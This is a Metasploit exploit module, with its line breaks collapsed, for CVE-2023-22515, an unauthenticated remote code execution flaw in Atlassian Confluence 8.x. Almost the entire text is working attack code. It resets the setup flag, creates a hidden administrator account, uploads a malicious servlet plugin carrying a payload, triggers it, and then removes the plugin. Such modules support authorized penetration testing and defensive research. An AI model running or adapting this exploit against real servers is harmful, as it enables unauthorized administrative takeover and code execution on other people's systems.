Atlassian Confluence Unauthenticated Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Retry  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP          parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for          Java objects to be modified at run time. The exploit will create a new administrator user and upload a          malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,          8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.        },        'License' => MSF_LICENSE,        'Author' => [          'sfewer-r7', # MSF Exploit & Rapid7 Analysis        ],        'References' => [          ['CVE', '2023-22515'],          ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'],          ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],        ],        'DisclosureDate' => '2023-10-04',        'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default.        'Targets' => [          [            'Automatic',            {              'Platform' => 'java',              'Arch' => [ARCH_JAVA]            }          ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          # Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself.          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        # By default Confluence listens for HTTP requests on TCP port 8090.        Opt::RPORT(8090),        # Confluence may have a non default base path, allow user to configure that here.        OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),        # The endpoint we target to trigger the vulnerability.        OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),        # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.        OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])      ]    )  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])    )    return CheckCode::Unknown('Connection failed') unless res    # Ensure target is a Confluence server by identifying an expected HTTP header.    return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time'    if res.code == 200 && res.body      # Pull out the version string from one of three known locations within the HTML.      m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i)      if m.nil?        m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i)        if m.nil?          m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i)        end      end      unless m.nil?        version = Rex::Version.new(m[1])        ranges = [          ['8.0.0', '8.3.2'],          ['8.4.0', '8.4.2'],          ['8.5.0', '8.5.1']        ]        # If we have a Confluence server within the given version ranges, it appears vulnerable.        ranges.each do |min, max|          if version.between?(Rex::Version.new(min), Rex::Version.new(max))            return Exploit::CheckCode::Appears("Atlassian Confluence #{version}")          end        end        # By here we know we have a confluence server, but the version found indicates it is safe.        return Exploit::CheckCode::Safe("Atlassian Confluence #{version}")      end    end    # By here we have identified a Confluence server, but could not get the version number to determine if it is    # vulnerable of not.    CheckCode::Detected  end  def exploit    target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])    print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}")    # 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints.    res = send_request_cgi(      'method' => 'POST',      'uri' => target_endpoint,      'vars_post' => {        'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'      }    )    unless res&.code == 302 || res&.code == 200      fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}")    end    print_status('Creating a new administrator user account...')    # usernames must be lowercase    admin_username = rand_text_alpha_lower(8)    admin_password = rand_text_alphanumeric(8)    # 2. Create a new administrator user account.    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'),      'headers' => {        'X-Atlassian-Token' => 'no-check'      },      'vars_post' => {        'username' => admin_username,        'fullName' => rand_text_alphanumeric(8),        # The email address does not need to be a valid address, but it must contain an @ character.        'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}",        'password' => admin_password,        'confirm' => admin_password,        'setup-next-button' => 'Next'      }    )    unless res&.code == 302 || res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action')    end    print_status("Created #{admin_username}:#{admin_password}")    # 3. Force the setup to become completed, to allow normal Confluence operations to continue.    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'),      'headers' => {        'X-Atlassian-Token' => 'no-check'      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action')    end    print_status('Adding a malicious plugin...')    # 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.    res = send_request_cgi(      'method' => 'GET',      # Note, we concatenate '/' as this is required by the endpoint.      'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',      'headers' => {        'Authorization' => basic_auth(admin_username, admin_password),        'Accept' => '*/*'      },      'vars_get' => {        'os_authType' => 'basic'      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/')    end    upm_token = res.headers['upm-token']    unless upm_token      fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/')    end    begin      payload_endpoint = rand_text_alphanumeric(8)      plugin_key = rand_text_alpha(8)      # 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string      # 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).      jar = payload.encoded_jar(random: true)      jar.add_file(        'atlassian-plugin.xml',        %(<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">  <plugin-info>    <description>#{rand_text_alphanumeric(8)}</description>    <version>#{rand(1024)}.#{rand(1024)}</version>  </plugin-info>  <servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet">    <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>  </servlet></atlassian-plugin>)      )      jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))      message = Rex::MIME::Message.new      message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"")      # 6. Upload the malicious plugin.      res = send_request_cgi(        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',        'ctype' => 'multipart/form-data; boundary=' + message.bound,        'headers' => {          'Authorization' => basic_auth(admin_username, admin_password),          'Accept' => '*/*'        },        'vars_get' => {          'token' => upm_token        },        'data' => message.to_s      )      unless res&.code == 202        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')      end      unless res.body =~ %r{<textarea>(.+)</textarea>}        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')      end      begin        plugin_json = JSON.parse(::Regexp.last_match(1))      rescue JSON::ParserError        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')      end      # We receive a JSON object like this:      # <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>      links_alternate = plugin_json&.dig('links', 'alternate')      if links_alternate.nil?        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')      end      print_status('Waiting for plugin to be installed...')      # 7. The plugin is installed asynchronously, so we poll the server for installation to be completed.      plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do        res = send_request_cgi(          'method' => 'GET',          'uri' => normalize_uri(target_uri.path, links_alternate)        )        # We receive a JSON result to indicate if the plugin is finished installing.        # {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}        if res&.code == 200          begin            res_json = JSON.parse(res.body)            next res_json['done']          rescue JSON::ParserError            next false          end        end        false      end      unless plugin_ready        fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')      end      print_status('Triggering payload...')      # 8. Trigger the payload by performing a request to the malicious servlet endpoint.      res = send_request_cgi(        'method' => 'GET',        'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)      )      unless res&.code == 200        fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")      end    ensure      print_status('Deleting plugin...')      # 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as      # Confluence doesnt allow a user to delete themself.      res = send_request_cgi(        'method' => 'DELETE',        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),        'headers' => {          'Authorization' => basic_auth(admin_username, admin_password),          'Connection' => 'close'        }      )      unless res&.code == 204        print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")      end    end  endend